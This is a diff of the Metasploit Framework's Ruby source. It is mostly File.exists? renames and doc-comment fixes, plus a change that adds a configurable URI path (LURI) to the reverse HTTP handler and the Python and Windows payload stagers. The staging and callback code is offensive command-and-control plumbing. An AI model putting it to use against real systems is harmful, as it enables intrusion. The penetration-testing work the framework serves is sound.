task_info[:created_at] = nils_for_nulls(task.elements["created-at"].text.to_s.strip)
|
||||
task_info[:updated_at] = nils_for_nulls(task.elements["updated-at"].text.to_s.strip)
|
||||
if !task.elements["completed-at"].text.to_s.empty?
|
||||
task_info[:completed_at] = nils_for_nulls(task.elements["completed-at"].text.to_s.strip)
|
||||
end
|
||||
if !task.elements["error"].text.to_s.empty?
|
||||
task_info[:error] = nils_for_nulls(task.elements["error"].text.to_s.strip)
|
||||
end
|
||||
if !task.elements["result"].text.to_s.empty?
|
||||
task_info[:result] = nils_for_nulls(task.elements["result"].text.to_s.strip)
|
||||
end
|
||||
task_info[:orig_path] = nils_for_nulls(task.elements["path"].text.to_s.strip)
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
|
||||
|
||||
# Only report a task if we actually have it.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exists? task_info[:orig_path]
|
||||
tasks_dir = ::File.join(basedir,"tasks")
|
||||
task_file = ::File.split(task_info[:orig_path]).last
|
||||
if ::File.exists? tasks_dir
|
||||
unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir))
|
||||
raise Msf::DBImportError.new("Could not move files to #{tasks_dir}")
|
||||
end
|
||||
else
|
||||
::FileUtils.mkdir_p(tasks_dir)
|
||||
# Only report loot if we actually have it.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exist? loot_info[:orig_path]
|
||||
loot_dir = ::File.join(basedir,"loot")
|
||||
loot_file = ::File.split(loot_info[:orig_path]).last
|
||||
if ::File.exist? loot_dir
|
||||
unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir))
|
||||
raise Msf::DBImportError.new("Could not move files to #{loot_dir}")
|
||||
end
|
||||
new_task = ::File.join(tasks_dir,task_file)
|
||||
task_info[:path] = new_task
|
||||
if ::File.exists?(new_task)
|
||||
::File.unlink new_task # Delete it, and don't report it.
|
||||
else
|
||||
report_task(task_info) # It's new, so report it.
|
||||
end
|
||||
::FileUtils.copy(task_info[:orig_path], new_task)
|
||||
yield(:msf_task, new_task) if block
|
||||
else
|
||||
::FileUtils.mkdir_p(loot_dir)
|
||||
end
|
||||
new_loot = ::File.join(loot_dir,loot_file)
|
||||
loot_info[:path] = new_loot
|
||||
if ::File.exist?(new_loot)
|
||||
::File.unlink new_loot # Delete it, and don't report it.
|
||||
else
|
||||
report_loot(loot_info) # It's new, so report it.
|
||||
end
|
||||
::FileUtils.copy(loot_info[:orig_path], new_loot)
|
||||
yield(:msf_loot, new_loot) if block
|
||||
end
|
||||
end
|
||||
|
||||
# Import Reports
|
||||
doc.elements.each("/#{btag}/reports/report") do |report|
|
||||
import_report(report, args, basedir)
|
||||
# Parses task Nokogiri::XML::Element
|
||||
def parse_zip_task(task, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
|
||||
task_info = {}
|
||||
task_info[:workspace] = args[:wspace]
|
||||
# Should user be imported (original) or declared (the importing user)?
|
||||
task_info[:user] = nils_for_nulls(task.at("created-by").text.to_s.strip)
|
||||
task_info[:desc] = nils_for_nulls(task.at("description").text.to_s.strip)
|
||||
task_info[:info] = nils_for_nulls(unserialize_object(task.at("info"), allow_yaml))
|
||||
task_info[:mod] = nils_for_nulls(task.at("module").text.to_s.strip)
|
||||
task_info[:options] = nils_for_nulls(task.at("options").text.to_s.strip)
|
||||
task_info[:prog] = nils_for_nulls(task.at("progress").text.to_s.strip).to_i
|
||||
task_info[:created_at] = nils_for_nulls(task.at("created-at").text.to_s.strip)
|
||||
task_info[:updated_at] = nils_for_nulls(task.at("updated-at").text.to_s.strip)
|
||||
if !task.at("completed-at").text.to_s.empty?
|
||||
task_info[:completed_at] = nils_for_nulls(task.at("completed-at").text.to_s.strip)
|
||||
end
|
||||
if !task.at("error").text.to_s.empty?
|
||||
task_info[:error] = nils_for_nulls(task.at("error").text.to_s.strip)
|
||||
end
|
||||
if !task.at("result").text.to_s.empty?
|
||||
task_info[:result] = nils_for_nulls(task.at("result").text.to_s.strip)
|
||||
end
|
||||
task_info[:orig_path] = nils_for_nulls(task.at("path").text.to_s.strip)
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
|
||||
|
||||
# Only report a task if we actually have it.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exist? task_info[:orig_path]
|
||||
tasks_dir = ::File.join(basedir,"tasks")
|
||||
task_file = ::File.split(task_info[:orig_path]).last
|
||||
if ::File.exist? tasks_dir
|
||||
unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir))
|
||||
raise Msf::DBImportError.new("Could not move files to #{tasks_dir}")
|
||||
end
|
||||
else
|
||||
::FileUtils.mkdir_p(tasks_dir)
|
||||
end
|
||||
new_task = ::File.join(tasks_dir,task_file)
|
||||
task_info[:path] = new_task
|
||||
if ::File.exist?(new_task)
|
||||
::File.unlink new_task # Delete it, and don't report it.
|
||||
else
|
||||
report_task(task_info) # It's new, so report it.
|
||||
end
|
||||
::FileUtils.copy(task_info[:orig_path], new_task)
|
||||
yield(:msf_task, new_task) if block
|
||||
end
|
||||
end
|
||||
|
||||
# Parses report Nokogiri::XML::Element
|
||||
def parse_zip_report(report, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
|
||||
import_report(report, args, basedir)
|
||||
end
|
||||
|
||||
# Import a Metasploit Express ZIP file. Note that this requires
|
||||
|
@ -156,7 +167,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
|
||||
new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename])
|
||||
if ::File.exists? new_tmp
|
||||
if ::File.exist? new_tmp
|
||||
unless (::File.directory?(new_tmp) && ::File.writable?(new_tmp))
|
||||
raise Msf::DBImportError.new("Could not extract zip file to #{new_tmp}")
|
||||
end
|
||||
|
@ -172,7 +183,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
# already exist
|
||||
@import_filedata[:zip_tmp_subdirs].each {|sub|
|
||||
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)
|
||||
if File.exists? tmp_subdirs
|
||||
if File.exist? tmp_subdirs
|
||||
unless (::File.directory?(tmp_subdirs) && File.writable?(tmp_subdirs))
|
||||
# if it exists but we can't write to it, give up
|
||||
raise Msf::DBImportError.new("Could not extract zip file to #{tmp_subdirs}")
|
||||
|
@ -198,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
Dir.entries(@import_filedata[:zip_tmp]).each do |entry|
|
||||
if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/
|
||||
manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME)
|
||||
if File.exists? manifest_file_path
|
||||
if File.exist? manifest_file_path
|
||||
import_msf_cred_dump(manifest_file_path, wspace)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -196,8 +196,8 @@ module Msf::DBManager::Import::Nexpose::Raw
|
|||
# Takes an array of vuln hashes, as returned by the NeXpose rawxml stream
|
||||
# parser, like:
|
||||
# [
|
||||
# {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]}
|
||||
# {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]}
|
||||
# "id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>["source"=>"BID", "value"=>"10600", ...]
|
||||
# "id"=>"windows-zotob-c", severity="8", "refs"=>["source"=>"BID", "value"=>"14513", ...]
|
||||
# ]
|
||||
# and transforms it into a struct, containing :id, :refs, :title, and :severity
|
||||
#
|
||||
|
@ -227,4 +227,4 @@ module Msf::DBManager::Import::Nexpose::Raw
|
|||
end
|
||||
return ret
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -329,7 +329,7 @@ module Msf::DBManager::ModuleCache
|
|||
next
|
||||
end
|
||||
|
||||
unless md.file and ::File.exists?(md.file)
|
||||
unless md.file and ::File.exist?(md.file)
|
||||
refresh << md
|
||||
next
|
||||
end
|
||||
|
|
|
@ -23,7 +23,7 @@ module Msf::DBManager::Report
|
|||
created = opts.delete(:created_at)
|
||||
updated = opts.delete(:updated_at)
|
||||
|
||||
unless File.exists? tmp_path
|
||||
unless File.exist? tmp_path
|
||||
raise Msf::DBImportError 'Report artifact file to be imported does not exist.'
|
||||
end
|
||||
|
||||
|
@ -31,7 +31,7 @@ module Msf::DBManager::Report
|
|||
raise Msf::DBImportError "Could not move report artifact file to #{artifacts_dir}."
|
||||
end
|
||||
|
||||
if File.exists? new_path
|
||||
if File.exist? new_path
|
||||
unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}"
|
||||
new_path = File.join(artifacts_dir, unique_basename)
|
||||
end
|
||||
|
|
|
@ -33,7 +33,7 @@ module Msf::DBManager::Session
|
|||
# :session host is contained. Also used as the workspace for the
|
||||
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
|
||||
# Mdm::Workspace#name equal to +session.workspace+.
|
||||
# @return [nil] if {Msf::DBManager#active} is +false+.
|
||||
# @return [nil] if Msf::DBManager#active is +false+.
|
||||
# @return [Mdm::Session] if session is saved
|
||||
# @raise [ArgumentError] if :session is not an {Msf::Session}.
|
||||
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||
|
@ -68,7 +68,7 @@ module Msf::DBManager::Session
|
|||
# exploit that was used to open the session.
|
||||
# @option option [String] :via_payload the {MSf::Module#fullname} of the
|
||||
# payload sent to the host when the exploit was successful.
|
||||
# @return [nil] if {Msf::DBManager#active} is +false+.
|
||||
# @return [nil] if Msf::DBManager#active is +false+.
|
||||
# @return [Mdm::Session] if session is saved.
|
||||
# @raise [ArgumentError] if :host is not an Mdm::Host.
|
||||
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||
|
@ -103,7 +103,7 @@ module Msf::DBManager::Session
|
|||
|
||||
protected
|
||||
|
||||
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
|
||||
# @param session [Msf::Session] A session with a db_record Msf::Session#db_record
|
||||
# @param wspace [Mdm::Workspace]
|
||||
# @return [void]
|
||||
def infer_vuln_from_session(session, wspace)
|
||||
|
|
|
@ -537,7 +537,7 @@ protected
|
|||
#
|
||||
def find_context_key(buf, badchars, state)
|
||||
# Make sure our context information file is sane
|
||||
if !File.exists?(datastore['ContextInformationFile'])
|
||||
if !File.exist?(datastore['ContextInformationFile'])
|
||||
raise NoKeyError, "A context information file must specified when using context encoding", caller
|
||||
end
|
||||
|
||||
|
|
|
@ -409,8 +409,8 @@ module Msf
|
|||
# Checks if the module is multi-platform based on the directory path.
|
||||
#
|
||||
# @param m [Object] Module.
|
||||
# @return Module [TrueClass] is multi-platform.
|
||||
# @return Module [FalseClass] is not multi-platform.
|
||||
# @return [TrueClass] is multi-platform.
|
||||
# @return [FalseClass] is not multi-platform.
|
||||
def is_multi_platform_exploit?(m)
|
||||
m.fullname.include?('multi/')
|
||||
end
|
||||
|
|
|
@ -110,7 +110,7 @@ module Msf
|
|||
cap = datastore['PCAPFILE'] || ''
|
||||
|
||||
if (not cap.empty?)
|
||||
if (not File.exists?(cap))
|
||||
if (not File.exist?(cap))
|
||||
raise RuntimeError, "The PCAP file #{cap} could not be found"
|
||||
end
|
||||
self.capture = ::Pcap.open_offline(cap)
|
||||
|
@ -216,7 +216,7 @@ module Msf
|
|||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
|
||||
end
|
||||
|
||||
if (not File.exists?(pcap_file))
|
||||
if (not File.exist?(pcap_file))
|
||||
raise RuntimeError, "The PCAP file #{pcap_file} could not be found"
|
||||
end
|
||||
|
||||
|
|
|
@ -47,7 +47,7 @@ module Exploit::Java
|
|||
end
|
||||
|
||||
toolsjar = File.join(ENV['JAVA_HOME'], "lib", "tools.jar")
|
||||
if (not File.exists? toolsjar)
|
||||
if (not File.exist? toolsjar)
|
||||
raise RuntimeError, 'JAVA_HOME does not point to a valid JDK installation.'
|
||||
end
|
||||
|
||||
|
@ -69,7 +69,7 @@ module Exploit::Java
|
|||
def save_to_file(classnames, codez, location)
|
||||
path = File.join( Msf::Config.install_root, "external", "source", location )
|
||||
|
||||
if not File.exists? path
|
||||
if not File.exist? path
|
||||
Dir.mkdir(path)
|
||||
end
|
||||
|
||||
|
@ -96,7 +96,7 @@ module Exploit::Java
|
|||
compile_options = [] if compile_options.nil?
|
||||
|
||||
# Create the directory if it doesn't exist
|
||||
Dir.mkdir(datastore['JavaCache']) if !File.exists? datastore['JavaCache']
|
||||
Dir.mkdir(datastore['JavaCache']) if !File.exist? datastore['JavaCache']
|
||||
|
||||
# For compatibility, some exploits need to have the target and source version
|
||||
# set to a previous JRE version.
|
||||
|
@ -157,7 +157,7 @@ module Exploit::Java
|
|||
|
||||
# Check if the keystore exists from previous run. If it does, delete it.
|
||||
msf_keystore = File.join(datastore['JavaCache'], msf_keystore)
|
||||
File.delete msf_keystore if File.exists? msf_keystore
|
||||
File.delete msf_keystore if File.exist? msf_keystore
|
||||
|
||||
# Rjb pukes on a CN with a comma in it so bad that it crashes to shell
|
||||
# and turns input echoing off. Simple fix for this ugly bug is
|
||||
|
|
|
@ -167,7 +167,13 @@ module Exploit::Remote::Postgres
|
|||
when "C42883"
|
||||
sql_error_msg += " Function does not exist: '#{sql}'"
|
||||
else # Let the user figure out the rest.
|
||||
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
|
||||
if e == Timeout::Error
|
||||
sql_error_msg = 'Execution expired'
|
||||
elsif sql_error_msg.nil?
|
||||
sql_error_msg = e.inspect
|
||||
else
|
||||
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
|
||||
end
|
||||
end
|
||||
return {:sql_error => sql_error_msg}
|
||||
end
|
||||
|
|
|
@ -73,10 +73,10 @@ module Msf
|
|||
'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||
# :activex is a special case.
|
||||
# When you set this requirement in your module, this is how it should be:
|
||||
# [{:clsid=>'String', :method=>'String'}]
|
||||
# [:clsid=>'String', :method=>'String']
|
||||
# Where each Hash is a test case
|
||||
# But when BES receives this information, the JavaScript will return this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# "CLSID=>Method=>Boolean;"
|
||||
# Also see: #has_bad_activex?
|
||||
'activex'
|
||||
])
|
||||
|
@ -216,7 +216,7 @@ module Msf
|
|||
|
||||
# Returns true if there's a bad ActiveX, otherwise false.
|
||||
# @param ax [String] The raw activex the JavaScript detection will return in this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# "CLSID=>Method=>Boolean;"
|
||||
# @return [Boolean] True if there's a bad ActiveX, otherwise false
|
||||
def has_bad_activex?(ax)
|
||||
ax.to_s.split(';').each do |a|
|
||||
|
|
|
@ -46,7 +46,8 @@ module ReverseHttp
|
|||
register_options(
|
||||
[
|
||||
OptString.new('LHOST', [true, 'The local listener hostname']),
|
||||
OptPort.new('LPORT', [true, 'The local listener port', 8080])
|
||||
OptPort.new('LPORT', [true, 'The local listener port', 8080]),
|
||||
OptString.new('LURI', [false, 'The HTTP Path', ''])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -65,7 +66,8 @@ module ReverseHttp
|
|||
|
||||
def print_prefix
|
||||
if Thread.current[:cli]
|
||||
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
|
||||
luri = datastore['LURI'].empty? ? "" : "-> (#{datastore['LURI']}) "
|
||||
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}#{luri}; (UUID: #{uuid.to_s}) "
|
||||
else
|
||||
super
|
||||
end
|
||||
|
@ -76,7 +78,7 @@ module ReverseHttp
|
|||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri(addr=datastore['LHOST'])
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"#{scheme}://#{uri_host}:#{bind_port}/"
|
||||
"#{scheme}://#{uri_host}:#{bind_port}#{luri}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
|
@ -103,10 +105,10 @@ module ReverseHttp
|
|||
callback_host = "#{callback_name}:#{callback_port}"
|
||||
end
|
||||
|
||||
"#{scheme}://#{callback_host}/"
|
||||
"#{scheme}://#{callback_host}"
|
||||
end
|
||||
|
||||
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||
# Use the #refname to determine whether this handler uses SSL or not
|
||||
#
|
||||
def ssl?
|
||||
!!(self.refname.index('https'))
|
||||
|
@ -120,6 +122,27 @@ module ReverseHttp
|
|||
(ssl?) ? 'https' : 'http'
|
||||
end
|
||||
|
||||
#
|
||||
# The local URI for the handler.
|
||||
#
|
||||
# @return [String] Representation of the URI to listen on.
|
||||
#
|
||||
def luri
|
||||
l = datastore['LURI'] || ""
|
||||
|
||||
if l && l.length > 0 && l[0] != '/'
|
||||
# make sure the luri has the prefix
|
||||
l = "/#{l}"
|
||||
|
||||
# but not the suffix
|
||||
if l[-1] == '/'
|
||||
l = l[0...-1]
|
||||
end
|
||||
end
|
||||
|
||||
l.dup
|
||||
end
|
||||
|
||||
# Create an HTTP listener
|
||||
#
|
||||
def setup_handler
|
||||
|
@ -158,7 +181,7 @@ module ReverseHttp
|
|||
obj = self
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource("/",
|
||||
service.add_resource(luri + "/",
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req, obj)
|
||||
},
|
||||
|
@ -178,7 +201,7 @@ module ReverseHttp
|
|||
#
|
||||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource('/')
|
||||
self.service.remove_resource(luri + "/")
|
||||
if self.service.resources.empty? && self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
|
@ -241,12 +264,15 @@ protected
|
|||
uuid.arch ||= obj.arch
|
||||
uuid.platform ||= obj.platform
|
||||
|
||||
conn_id = nil
|
||||
conn_id = luri
|
||||
if info[:mode] && info[:mode] != :connect
|
||||
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
else
|
||||
conn_id << req.relative_resource
|
||||
conn_id = conn_id[0...-1] if conn_id[-1] == '/'
|
||||
end
|
||||
|
||||
request_summary = "#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
|
||||
request_summary = "#{luri}#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
|
||||
|
||||
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
|
||||
|
@ -281,7 +307,7 @@ protected
|
|||
resp.body = pkt.to_r
|
||||
|
||||
when :init_python
|
||||
print_status("Staging Python payload ...")
|
||||
print_status("Staging Python payload...")
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
|
@ -310,7 +336,7 @@ protected
|
|||
})
|
||||
|
||||
when :init_java
|
||||
print_status("Staging Java payload ...")
|
||||
print_status("Staging Java payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = obj.generate_stage(
|
||||
|
@ -334,7 +360,7 @@ protected
|
|||
})
|
||||
|
||||
when :init_native
|
||||
print_status("Staging Native payload ...")
|
||||
print_status("Staging Native payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
uri = URI(payload_uri(req) + conn_id)
|
||||
|
||||
|
@ -370,16 +396,18 @@ protected
|
|||
end
|
||||
|
||||
when :connect
|
||||
print_status("Attaching orphaned/stageless session ...")
|
||||
print_status("Attaching orphaned/stageless session...")
|
||||
|
||||
resp.body = ''
|
||||
conn_id = req.relative_resource
|
||||
|
||||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => payload_uri(req) + conn_id + "/\x00",
|
||||
:url => url + "\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
|
@ -392,16 +420,14 @@ protected
|
|||
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("Unknown request to #{request_summary}")
|
||||
end
|
||||
resp.code = 200
|
||||
resp.message = 'OK'
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
resp = nil
|
||||
self.pending_connections -= 1
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
|
||||
# Force this socket to be closed
|
||||
obj.service.close_client( cli )
|
||||
obj.service.close_client(cli)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -183,8 +183,8 @@ class Msf::ModuleSet < Hash
|
|||
# @option info [Array<String>] 'files' List of paths to files that defined
|
||||
# +klass+.
|
||||
# @return [Class] The klass parameter modified to have
|
||||
# {Msf::Module#framework}, {Msf::Module#refname}, {Msf::Module#file_path},
|
||||
# and {Msf::Module#orig_cls} set.
|
||||
# Msf::Module.framework, Msf::Module#refname, Msf::Module#file_path,
|
||||
# and Msf::Module#orig_cls set.
|
||||
def add_module(klass, reference_name, info = {})
|
||||
# Set the module's reference_name so that it can be referenced when
|
||||
# instances are created.
|
||||
|
|
|
@ -418,7 +418,7 @@ class Msf::Modules::Loader::Base
|
|||
# Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log.
|
||||
#
|
||||
# @param [String] module_path Path to the module as returned by {#module_path}.
|
||||
# @param [String] Error message that caused the warning.
|
||||
# @param [String] error Error message that caused the warning.
|
||||
# @return [void]
|
||||
#
|
||||
# @see #module_path
|
||||
|
|
|
@ -20,7 +20,7 @@ class OptAddressRange < OptBase
|
|||
return nil unless value.kind_of?(String)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
return false if not File.exists?(path) or File.directory?(path)
|
||||
return false if not File.exist?(path) or File.directory?(path)
|
||||
return File.readlines(path).map{ |s| s.strip}.join(" ")
|
||||
elsif (value =~ /^rand:(.*)/)
|
||||
count = $1.to_i
|
||||
|
|
|
@ -23,7 +23,7 @@ class OptPath < OptBase
|
|||
if value =~ /^memory:\s*([0-9]+)/i
|
||||
return false unless check_memory_location($1)
|
||||
else
|
||||
unless File.exists?(value)
|
||||
unless File.exist?(value)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
|
|
@ -48,6 +48,7 @@ module Payload::Python::ReverseHttp
|
|||
|
||||
target_url << ':'
|
||||
target_url << opts[:port].to_s
|
||||
target_url << luri
|
||||
target_url << generate_callback_uri(opts)
|
||||
target_url
|
||||
end
|
||||
|
@ -56,7 +57,7 @@ module Payload::Python::ReverseHttp
|
|||
# Return the longest URI that fits into our available space
|
||||
#
|
||||
def generate_callback_uri(opts={})
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
|
|
@ -50,7 +50,7 @@ module Msf::Payload::TransportConfig
|
|||
unless uri
|
||||
type = opts[:stageless] == true ? :init_connect : :connect
|
||||
sum = uri_checksum_lookup(type)
|
||||
uri = generate_uri_uuid(sum, opts[:uuid])
|
||||
uri = luri + generate_uri_uuid(sum, opts[:uuid])
|
||||
end
|
||||
|
||||
{
|
||||
|
|
|
@ -51,7 +51,7 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
|
@ -61,7 +61,7 @@ module Payload::Windows::ReverseHttp
|
|||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = generate_small_uri
|
||||
conf[:url] = luri + generate_small_uri
|
||||
end
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
@ -98,7 +98,7 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
|
|
|
@ -55,7 +55,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
|
||||
# add extended options if we do have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
|
@ -65,7 +65,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = generate_small_uri
|
||||
conf[:url] = luri + generate_small_uri
|
||||
end
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
@ -96,7 +96,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
|
|
|
@ -53,7 +53,7 @@ class Msf::Post < Msf::Module
|
|||
mod
|
||||
end
|
||||
|
||||
# This method returns the ID of the {Mdm::Session} that the post module
|
||||
# This method returns the ID of the Mdm::Session that the post module
|
||||
# is currently running against.
|
||||
#
|
||||
# @return [NilClass] if there is no database record for the session
|
||||
|
|
|
@ -57,7 +57,7 @@ module Msf::Post::Common
|
|||
# For example: you can use a python meterpreter on a Windows platform, and you will
|
||||
# get 'python/python' as your arch/platform, and not 'x86/win32'.
|
||||
#
|
||||
# @returns [String] The archtecture recognizable by framework's ARCH_TYPES.
|
||||
# @return [String] The archtecture recognizable by framework's ARCH_TYPES.
|
||||
def get_target_arch
|
||||
arch = nil
|
||||
|
||||
|
@ -338,4 +338,3 @@ module Msf::Post::Common
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -136,6 +136,8 @@ module Msf::Post::File
|
|||
end
|
||||
end
|
||||
|
||||
alias :exists? :exist?
|
||||
|
||||
#
|
||||
# Writes a given string to a given local file
|
||||
#
|
||||
|
@ -143,7 +145,7 @@ module Msf::Post::File
|
|||
# @param data [String]
|
||||
# @return [void]
|
||||
def file_local_write(local_file_name, data)
|
||||
unless ::File.exists?(local_file_name)
|
||||
unless ::File.exist?(local_file_name)
|
||||
::FileUtils.touch(local_file_name)
|
||||
end
|
||||
|
||||
|
@ -160,7 +162,7 @@ module Msf::Post::File
|
|||
# @param local_file_name [String] Local file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_local_digestmd5(local_file_name)
|
||||
if ::File.exists?(local_file_name)
|
||||
if ::File.exist?(local_file_name)
|
||||
require 'digest/md5'
|
||||
chksum = nil
|
||||
chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||
|
@ -191,7 +193,7 @@ module Msf::Post::File
|
|||
# @param local_file_name [String] Local file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_local_digestsha1(local_file_name)
|
||||
if ::File.exists?(local_file_name)
|
||||
if ::File.exist?(local_file_name)
|
||||
require 'digest/sha1'
|
||||
chksum = nil
|
||||
chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||
|
@ -222,7 +224,7 @@ module Msf::Post::File
|
|||
# @param local_file_name [String] Local file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_local_digestsha2(local_file_name)
|
||||
if ::File.exists?(local_file_name)
|
||||
if ::File.exist?(local_file_name)
|
||||
require 'digest/sha2'
|
||||
chksum = nil
|
||||
chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||
|
|
|
@ -79,7 +79,7 @@ module UserProfiles
|
|||
read_profile_list().each do |hive|
|
||||
hive['OURS']=false
|
||||
if hive['LOADED']== false
|
||||
if session.fs.file.exists?(hive['DAT'])
|
||||
if session.fs.file.exist?(hive['DAT'])
|
||||
hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT'])
|
||||
print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS']
|
||||
else
|
||||
|
|
|
@ -30,7 +30,7 @@ class RPC_Plugin < RPC_Base
|
|||
|
||||
# If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base
|
||||
